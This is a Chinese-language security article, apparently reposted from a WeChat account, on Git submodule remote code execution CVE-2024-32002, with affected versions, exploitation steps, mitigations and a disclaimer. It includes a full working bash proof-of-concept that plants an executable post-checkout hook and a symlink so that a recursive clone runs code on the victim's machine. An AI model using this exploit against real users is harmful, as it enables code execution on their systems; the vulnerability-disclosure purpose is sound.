Git子模块RCE漏洞 (CVE-2024-32002) 漏洞

admin 2024年5月27日15:28:04评论30 views字数 2507阅读8分21秒阅读模式

    一、漏洞介绍

    Git 是目前世界上最流行的分布式版本控制系统。它由 Linus Torvalds 于 2005 年创建,主要用于管理 Linux 内核开发,但很快就被广泛应用于各类软件项目中。与其他版本控制系统(如 SVN 和 CVS)不同,Git 的设计初衷是为了提高速度、数据完整性和支持分布式、非线性工作流程(如多个分支)。

Git子模块RCE漏洞 (CVE-2024-32002) 漏洞

    什么是 Git 子模块?

    在软件开发中,尤其是使用 Git 进行版本控制时,有时需要将其他项目作为依赖项包含在当前项目中。Git 子模块提供了一种将一个 Git 仓库嵌入到另一个 Git 仓库中的方式。这使得我们可以在一个项目中使用另一个项目的代码,同时保持两者的独立版本控制。

    CVE-2024-32002 是一个影响 Git 子模块的远程代码执行(RCE)漏洞。攻击者可以利用这个漏洞,通过诱导用户克隆一个包含恶意子模块的 Git 仓库,执行任意代码。该漏洞利用了子模块初始化和更新过程中的一个漏洞,允许在目标系统上执行恶意脚本。

    影响版本:

Git 2.45.*< 2.45.1Git 2.44.*< 2.44.1Git 2.43.*< 2.43.4Git 2.42.*< 2.42.2Git 2.41.*< 2.41.1Git 2.40.*< 2.40.2Git 2.39.*< 2.39.4
注:当受影响Git版本在不区分大小写的文件系统(如Windows 和 macOS)上执行时易受该漏洞影响。

    二、漏洞的形成

在 Git 中,子模块的相关信息保存在 .gitmodules 文件中,并且子模块的元数据保存在 .git 目录下。当用户递归克隆一个包含子模块的仓库时,Git 会自动初始化和更新子模块的内容。攻击者可以利用这一过程,在子模块中包含恶意代码或钩子脚本,当子模块被克隆或更新时,这些恶意代码就会被执行。
    三、漏洞演示环境搭建
在进行PoC之前,需要在你的远程Git服务器上创建以下三个仓库:
hulk.gitsubmod.gitsmash.git
注意:如果你修改了仓库名称,需要相应地更新PoC脚本中的仓库路径。

四、漏洞利用过程

  1. 创建恶意子模块仓库:攻击者首先创建一个包含恶意代码或脚本的 Git 仓库。
  2. 创建主仓库:攻击者创建另一个仓库,并将第一个仓库作为子模块包含进来。
  3. 诱导克隆:攻击者诱导受害者递归克隆这个包含恶意子模块的仓库。
  4. 执行恶意代码:当受害者克隆仓库并初始化子模块时,恶意代码会在受害者的系统上执行。

五、漏洞PoC脚本
下面是一个用于设置和演示漏洞的脚本poc.sh:
原链接:https://github.com/safebuffer/CVE-2024-32002
#!/bin/bash
# 定义仓库路径HULK_REPO="[email protected]:safebuffer/hulk.git"PULLME_REPO="[email protected]:safebuffer/submod.git"SMASH_REPO="[email protected]:safebuffer/smash.git"
# 设置HULK_REPO仓库setup_HULK_REPO() { rm -rf hulk* git clone "$HULK_REPO" hulk cd hulk/ || exit mkdir -p y/hooks cp ./.git/hooks/post-update.sample y/hooks/post-checkout echo "/System/Applications/Calculator.app/Contents/MacOS/Calculator" > y/hooks/post-checkout git add y/hooks/post-checkout git update-index --chmod=+x y/hooks/post-checkout git commit -m "Add executable post-checkout hook" git push cd ..}
# 设置PULLME_REPO仓库setup_pullme_repo() { rm -rf pullme* git clone "$PULLME_REPO" pullme cd pullme || exit rm -rf a* A* git rm -r A/modules/x git submodule add --name x/y "$HULK_REPO" A/modules/x git commit -m "Add submodule" printf .git > dotgit.txt git hash-object -w --stdin < dotgit.txt > dot-git.hash printf "120000 %s 0tan" "$(cat dot-git.hash)" > index.info git update-index --index-info < index.info git commit -m "Add symlink" git push cd ..}
# 显示触发漏洞的命令show_command() { RED='33[0;31m' GREEN='33[0;32m' YELLOW='33[0;33m' BLUE='33[0;34m' NC='33[0m' # No Color echo -e "${GREEN}触发漏洞的命令是 ${NC}:n" echo -e "${YELLOW}git clone --recursive ${BLUE}$SMASH_REPO ${RED}GITRCE${NC}"}
# 执行函数setup_HULK_REPOsetup_pullme_reposhow_command

Git子模块RCE漏洞 (CVE-2024-32002) 漏洞

六、漏洞修复

针对 CVE-2024-32002 的修复措施包括:
更新 Git 版本:Git 项目已经发布了针对该漏洞的补丁,用户应尽快更新到最新版本。
限制子模块的自动初始化和更新:可以配置 Git 来限制子模块的自动初始化和更新,防止在克隆过程中执行潜在的恶意代码。
代码审计:在添加子模块之前,仔细审查子模块的代码和配置,确保没有包含恶意代码。
免责声明
本文中的PoC仅供教育用途,请务必在合法授权的系统上进行测试。未经授权的测试和利用可能会导致严重后果。

原文始发于微信公众号(云梦安全):Git子模块RCE漏洞 (CVE-2024-32002) 漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月27日15:28:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Git子模块RCE漏洞 (CVE-2024-32002) 漏洞https://cn-sec.com/archives/2783281.html

发表评论

匿名网友 填写信息